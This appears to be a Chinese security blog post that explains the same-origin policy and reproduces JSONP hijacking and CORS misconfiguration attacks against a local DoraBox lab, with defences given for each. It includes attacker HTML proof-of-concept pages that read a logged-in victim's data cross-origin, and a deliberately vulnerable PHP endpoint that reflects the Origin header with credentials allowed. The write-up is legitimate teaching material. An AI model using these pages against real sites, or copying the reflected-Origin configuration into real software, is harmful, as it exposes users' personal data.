JSONP和CORS跨域漏洞
最近研究了一下这个,实战中还没遇到过,也可能存在只是我没发现,小记!
一、同源策略
1、什么是同源策略
两个地址的协议域名端口都一样则为同源
2、为什么需要使用同源策略
Tips:同源策略是浏览器行为,拦截的是客户端发出去的请求,该请求返回的信息,也就是请求发出去了,服务器响应了,但是无法被浏览器接收。
Tips1:同源策略只存在于浏览器端,服务器访问服务器不存在跨域问题。
不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。只有同一个源的脚本才可以赋予dom、读写cookie、session、ajax等操作的权限,例如a.com可以随意调用b.com的接口去修改数据
3、同源策略会受到哪些限制
- 无法获取Cookie、LocalStorage、IndexDB
- 无法获取DOM
- AJAX请求不能发送
以上三个标签可以允许跨域加载资源
二、Jsonp跨域劫持与个人理解
1、什么是Jsonp
利用标签元素,网页可以得到从其他来源动态产生的JSON资料,而这种模式就是所谓的Jsonp,用Jsonp抓到的资料并不是Json,而是任意的JavaScript。
Jsonp跨域的原理本质就是利用的标签有跨域的属性
2、Jsonp跨域测试
在不同源的情况下
这里没有使用本地搭建两个不同的端口来访问html服务,而是使用douban的网址来测试
同源的情况下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | <! - - 以上同源与不同源的测试代码 - - >
<!DOCTYPE html>
<html lang = "en" >
<head>
<meta charset = "UTF-8" >
<title>ajax< / title>
<meta http - equiv = "Content-Type" content = "text/html; charset=utf-8" / >
< / head>
<body>
<div id = "mydiv" >
<button id = "btn" >点击< / button>
< / div>
< / body>
<script type = "text/javascript" >
window.onload = function() {
var oBtn = document.getElementById( 'btn' );
oBtn.onclick = function() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState = = 4 && xhr.status = = 200 ) {
alert( xhr.responseText );
}
};
xhr. open ( 'get' , 'http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test' , true);
xhr.send();
};
};
< / script>
< / html>
|
跨域访问
JSONP实现跨域请求的原理简单的说,就是动态创建<script>
标签,然后利用<script>
的src 不受同源策略约束来跨域获取数据。
JSONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。
动态创建<script>
标签,设置其src,回调函数在src中设置
1 2 3 | var script = document.createElement( "script" );
script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse" ;
document.body.insertBefore(script, document.body.firstChild);
|
在页面中,返回的JSON作为参数传入回调函数中,我们通过回调函数来来操作数据。
1 2 3 | function handleResponse(response){
/ / 对response数据进行操作代码
}
|
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | <!DOCTYPE html>
<html lang = "en" >
<head>
<meta charset = "UTF-8" >
<title>JSONP实现跨域 2 < / title>
< / head>
<body>
<div id = "mydiv" >
<button id = "btn" >点击< / button>
< / div>
< / body>
<script type = "text/javascript" >
function handleResponse(response){
console.log(response);
}
< / script>
<script type = "text/javascript" >
window.onload = function() {
var oBtn = document.getElementById( 'btn' );
oBtn.onclick = function() {
var script = document.createElement( "script" );
script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse" ;
document.body.insertBefore(script, document.body.firstChild);
};
};
< / script>
< / html>
|
3、Jsonp劫持漏洞复现
漏洞页面为
攻击页面
1 2 3 4 5 6 7 8 9 10 11 12 | <html>
<head>
<meta charset = "utf-8" >
<title>JSONP劫持测试< / title>
< / head>
<body>
<script type = "text/javascript" >
function vulkey(data){alert(JSON.stringify(data));}< / script>
<script src = "http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=vulkey" >< / script>
< / body>
< / html>
|
受害者点击页面
4、跨域劫持的个人理解
其实网上的文章复现对这里并没有说的很清楚,照着复现演示看上去也比较模糊,大概的意思我理解的是漏洞页面(http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test)要获取这些数据,是需要登录的,受害者登录后,又访问了攻击者给的漏洞劫持复现链接(http://10.200.70.27:8081/exp.html),就造成了攻击者可以获取这些数据,同源策略规定,不同的源是不可以获取cookie这些的,很显然,用户登录后的cookie,不同源是不可以获取的,这里通过标签属性的特性,获取到了不同源用户的Cookie
5、Json劫持防御
1、验证Referer
2、增加随机的Token进行验证
三、CORS跨域劫持与个人理解
在phpstudy中开启,删掉前面的#号并在配置文件的最开头配置header然后重启服务
这一步不是必须设置,通过复现测试发现,如果php中写了,这里好像可以不用设置
1 2 3 | Header set Access - Control - Allow - Origin *
Header set Access - Control - Allow - Credential *
Header set Access - Control - Expose - Headers *
|
1、cors跨域实现流程
- 1、服务器支持配置CORS,默认认可所有域都可以访问
- 2、浏览器客户端把所在的域填充到Origin发送跨域请求
- 3、服务器根据资源权限配置,在响应头中添加Access-Control-Allow-Origin Header,返回结果
- 4、浏览器比较服务器返回的Access-Control-Allow-Origin Header和请求域的Origin,如果当前域获得授权,则将结果返回给页面
2、如何判断是否存在跨域
请求头存在origin参数且可控(不存在可自行添加不影响结果)
响应头存在下面两个:
- 1、Access-Control-Allow-Orighin:指定哪些域可以访问域资源
- 2、Access-Control-Allow-Credentials:指定浏览器是否存将使用请求发送cookie,仅当allow-credentials标头设置为true时,才会发送cookie
Burp重放
如何判断是否存在跨域攻击,可以在请求头中添加一个源,看看是否可控
1 | Origin:http: / / www.baidu.com
|
模拟受害者点击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | <html>
<head>
<script type = "text/javascript" >
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState = = 4 && this.status = = 200 ) {
document.getElementById( "demo" ).innerHTML =
alert(this.responseText);
}
};
xhttp. open ( "GET" , "http://10.200.70.27/vul/DoraBox/csrf/userinfo.php" , true);
xhttp.send();
}
< / script>
< / head>
<body>
<textarea id = "demo" >< / textarea>
< / body>
< / html>
|
3、漏洞页面代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php
if (@$_SERVER[ 'HTTP_ORIGIN' ]){
header( "Access-Control-Allow-Origin: " .$_SERVER[ 'HTTP_ORIGIN' ]);
} else {
header( "Access-Control-Allow-Origin: *" );
}
header( "Access-Control-Allow-Headers: X-Requested-With" );
header( "Access-Control-Allow-Credentials: true" );
header( "Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS" );
$info = array( 'username' = > 'Vulkey_Chen' , 'mobilephone' = > '13188888888' , 'email' = > 'admin@gh0st.cn' , 'address' = > '中华人民共和国' , 'sex' = > 'Cool Man' );
echo json_encode($info);
?>
|
首先你判断是否请求头里面是否有Origin如果有,就讲header设置为(Access-Control-Allow-Origin: "传进来的Origin")如果没有就设置为*,在设置不同的header,最后echo json
把这些header删掉,就会触发同源策略,就无法获得想要的json信息
删掉后还是正常输出json内容
但是使用不同域模拟受害者点击的时候就会提示
4、Cors跨域的个人理解
同源策略不允许其他的源访问,所以如果错误的配置了Access-Control-Allow-Origin,导致攻击者可以控制这个Origin的话,就会导致我只需要指定当前访问地址的源即可。
如果使用Access-Control-Allow-Origin来处理跨域的话,如果没有传入Origin参数,那么就会使用默认的值,这个默认的值浏览器会将当前的host传进去,所以在请求中可以看到返回包里面Origin是当前的host
5、Cors防御思路
- 白名单
- 规范化正则表达式
- 只允许安全的协议如https
- 避免使用Access-Control-Allow-Credentials为True
- 使用框架的时候注意查看相关文档的用法,根据上面规则进行更正。
参考文章
1、https://blog.csdn.net/weixin_41679427/article/details/110312388
2、https://www.imooc.com/article/291931
3、http://www.ruanyifeng.com/blog/2016/04/cors.html
4、https://blog.csdn.net/weixin_41598660/article/details/106050957
5、https://www.cnblogs.com/csnd/p/11807709.html
[课程]Android-CTF解题方法汇总!